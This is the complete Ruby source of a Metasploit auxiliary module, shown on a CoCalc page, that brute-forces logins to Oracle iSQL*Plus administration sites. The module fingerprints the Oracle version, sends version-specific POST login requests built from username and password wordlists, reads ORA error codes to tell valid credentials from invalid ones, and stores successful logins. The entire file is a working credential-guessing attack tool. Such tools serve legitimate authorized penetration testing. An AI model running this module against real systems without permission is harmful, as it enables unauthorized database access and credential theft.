CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/oracle/isqlplus_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::AuthBrute
10
11
12
def initialize
13
super(
14
'Name' => 'Oracle iSQL*Plus Login Utility',
15
'Description' => %q{
16
This module attempts to authenticate against an Oracle ISQL*Plus
17
administration web site using username and password combinations indicated
18
by the USER_FILE, PASS_FILE, and USERPASS_FILE.
19
20
This module does not require a valid SID, but if one is defined, it will be used.
21
Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to
22
fingerprint the version and automatically select the correct POST request.
23
24
},
25
'References' =>
26
[
27
[ 'URL', 'https://blog.carnal0wnage.com/' ],
28
],
29
'Author' => [ 'CG', 'todb' ],
30
'License' => MSF_LICENSE
31
)
32
deregister_options('BLANK_PASSWORDS') # Blank passwords are never valid
33
34
register_options([
35
Opt::RPORT(5560),
36
OptString.new('URI', [ true, 'Oracle iSQLPlus path.', '/isqlplus/']),
37
OptString.new('SID', [ false, 'Oracle SID' ]),
38
OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 60]),
39
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
40
File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]),
41
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
42
])
43
44
end
45
46
def verbose
47
datastore['VERBOSE']
48
end
49
50
def uri
51
datastore['URI'].to_s
52
end
53
54
def timeout
55
(datastore['TIMEOUT'] || 60).to_i
56
end
57
58
def prefix
59
datastore['SSL'] ? "https" : "http"
60
end
61
62
def msg
63
"#{prefix}://#{rhost}:#{rport}/#{datastore['URI'].gsub(/^\/+/,"")} -"
64
end
65
66
def get_oracle_version(ip)
67
begin
68
res = send_request_cgi({
69
'version' => '1.1',
70
'uri' => uri,
71
'method' => 'GET',
72
}, timeout)
73
oracle_ver = nil
74
if (res.nil?)
75
print_error("#{msg} no response")
76
elsif (res.code == 200)
77
print_status("#{msg} Received an HTTP #{res.code}")
78
oracle_ver = detect_oracle_version(res)
79
elsif (res.code == 404)
80
print_error("#{msg} Received an HTTP 404, check URIPATH")
81
elsif (res.code == 302)
82
print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
83
else
84
print_error("#{msg} Received an HTTP #{res.code}")
85
end
86
return oracle_ver
87
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
88
print_error "#{msg} Cannot connect"
89
end
90
end
91
92
def detect_oracle_version(res)
93
m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
94
oracle_ver = nil
95
oracle_ver = 10 if m[1] && m[1] =~ /10/
96
oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
97
if oracle_ver
98
print_status("#{msg} Detected Oracle version #{oracle_ver}")
99
print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
100
else
101
print_error("#{msg} Unknown Oracle version detected.")
102
end
103
return oracle_ver
104
end
105
106
def check_oracle_version(ver)
107
[9.0,9.1,9.2,10].include? ver
108
end
109
110
def run_host(ip)
111
datastore['BLANK_PASSWORDS'] = false # Always
112
ver = get_oracle_version(ip)
113
if not check_oracle_version(ver)
114
print_error "#{msg} Unknown Oracle version, skipping."
115
return
116
end
117
if datastore['SID'].nil? || datastore['SID'].empty?
118
print_status "Using blank SID for authentication."
119
end
120
each_user_pass do |user, pass|
121
# Blank passwords aren't allowed
122
if pass.nil? || pass.empty?
123
print_status "Skipping blank password for #{user}"
124
else
125
do_login(user, pass, ver)
126
end
127
end
128
end
129
130
def sid
131
if datastore['SID'].nil? || datastore['SID'].empty?
132
nil
133
else
134
datastore['SID']
135
end
136
end
137
138
def do_login(user='DBSNMP', pass='DBSNMP', version=9.0)
139
uri = datastore['URI']
140
141
vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' with SID '#{sid}'")
142
success = false
143
if version == 9.0
144
postrequest = "action=logon&sqlcmd=&sqlparms=&username=#{user}&password=#{pass}&sid=#{sid}&privilege=&Log+In=%B5%C7%C2%BC"
145
elsif (version == 9.1 || version == 9.2)
146
postrequest = "action=logon&username=#{user}&password=#{pass}&sid=#{sid}&login=Login"
147
elsif (version == 10)
148
postrequest = "username=#{user}&password=#{pass}&connectID=#{sid}&report=&script=&dynamic=&type=&action=&variables=&event=login"
149
end
150
151
begin
152
res = send_request_cgi({
153
'version' => '1.1',
154
'uri' => uri,
155
'method' => 'POST',
156
'data' => postrequest,
157
'headers' => { 'Referer' => "http://#{rhost}:#{rport}#{uri}" }
158
}, timeout)
159
unless (res.kind_of? Rex::Proto::Http::Response)
160
vprint_error("#{msg} Not responding")
161
return :abort
162
end
163
return :abort if (res.code == 404)
164
165
if res.code == 200
166
# English, German, and Danish.
167
if (res.body =~ /Connected as/ or res.body =~ /Angemeldet als/ or res.body =~ /Arbejdssk/)
168
success = true
169
elsif (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
170
#print_error("received ORA-01017 -- incorrect credentials")
171
success = false
172
elsif (res.body =~ /ORA-28009:/ )
173
print_good("#{user}:#{pass} is correct but required SYSDBA or SYSOPER login")
174
success = true
175
elsif (res.body =~ /ORA-28000:/ )#locked account
176
success = false
177
elsif (res.body =~ /ORA-12170:/ or res.body =~ /ORA-12154:/ or res.body =~ /ORA-12162:/ or res.body =~ /ORA-12560:/)
178
print_status("Incorrect SID -- please set a correct (or blank) SID")
179
return :abort
180
elsif
181
print_error("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")
182
success = false
183
end
184
elsif res.code == 302
185
print_status("received a 302 to #{res.headers['Location']}")
186
return :abort
187
else
188
print_status("Unexpected Response of: #{res.code}")#''
189
return :abort
190
end
191
192
rescue ::Rex::ConnectionError => e
193
vprint_error("#{msg} - #{e}")
194
return :abort
195
end
196
197
if success
198
print_good("#{msg} successful login '#{user}' : '#{pass}' for SID '#{sid}'")
199
report_isqlplus_service(target_host,res)
200
report_oracle_sid(target_host,sid)
201
report_isqlauth_info(target_host,user,pass,sid)
202
return :next_user
203
else
204
vprint_error "#{msg} username and password failed"
205
return :failed
206
end
207
end
208
209
def report_isqlplus_service(ip,res)
210
sname = datastore['SSL'] ? 'https' : 'http'
211
report_service(
212
:host => ip,
213
:proto => 'tcp',
214
:port => rport,
215
:name => sname,
216
:info => res.headers["Server"].to_s.strip
217
)
218
end
219
220
def report_oracle_sid(ip,sid)
221
report_note(
222
:host => ip,
223
:proto => 'tcp',
224
:port => rport,
225
:type => "oracle.sid",
226
:data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),
227
:update => :unique_data
228
)
229
end
230
231
def report_cred(opts)
232
service_data = {
233
address: opts[:ip],
234
port: opts[:port],
235
service_name: opts[:service_name],
236
protocol: 'tcp',
237
workspace_id: myworkspace_id
238
}
239
240
credential_data = {
241
origin_type: :service,
242
module_fullname: fullname,
243
username: opts[:user],
244
private_data: opts[:password],
245
private_type: :password
246
}.merge(service_data)
247
248
login_data = {
249
core: create_credential(credential_data),
250
status: Metasploit::Model::Login::Status::UNTRIED,
251
proof: opts[:proof]
252
}.merge(service_data)
253
254
create_credential_login(login_data)
255
end
256
257
def report_isqlauth_info(ip,user,pass,sid)
258
ora_info = {
259
ip: ip,
260
port: rport,
261
password: pass,
262
proof: sid.inspect,
263
service_name: 'tcp'
264
}
265
if sid.nil? || sid.empty?
266
ora_info.merge! :user => user
267
else
268
ora_info.merge! :user => "#{sid}/#{user}"
269
end
270
report_cred(ora_info)
271
end
272
end
273
274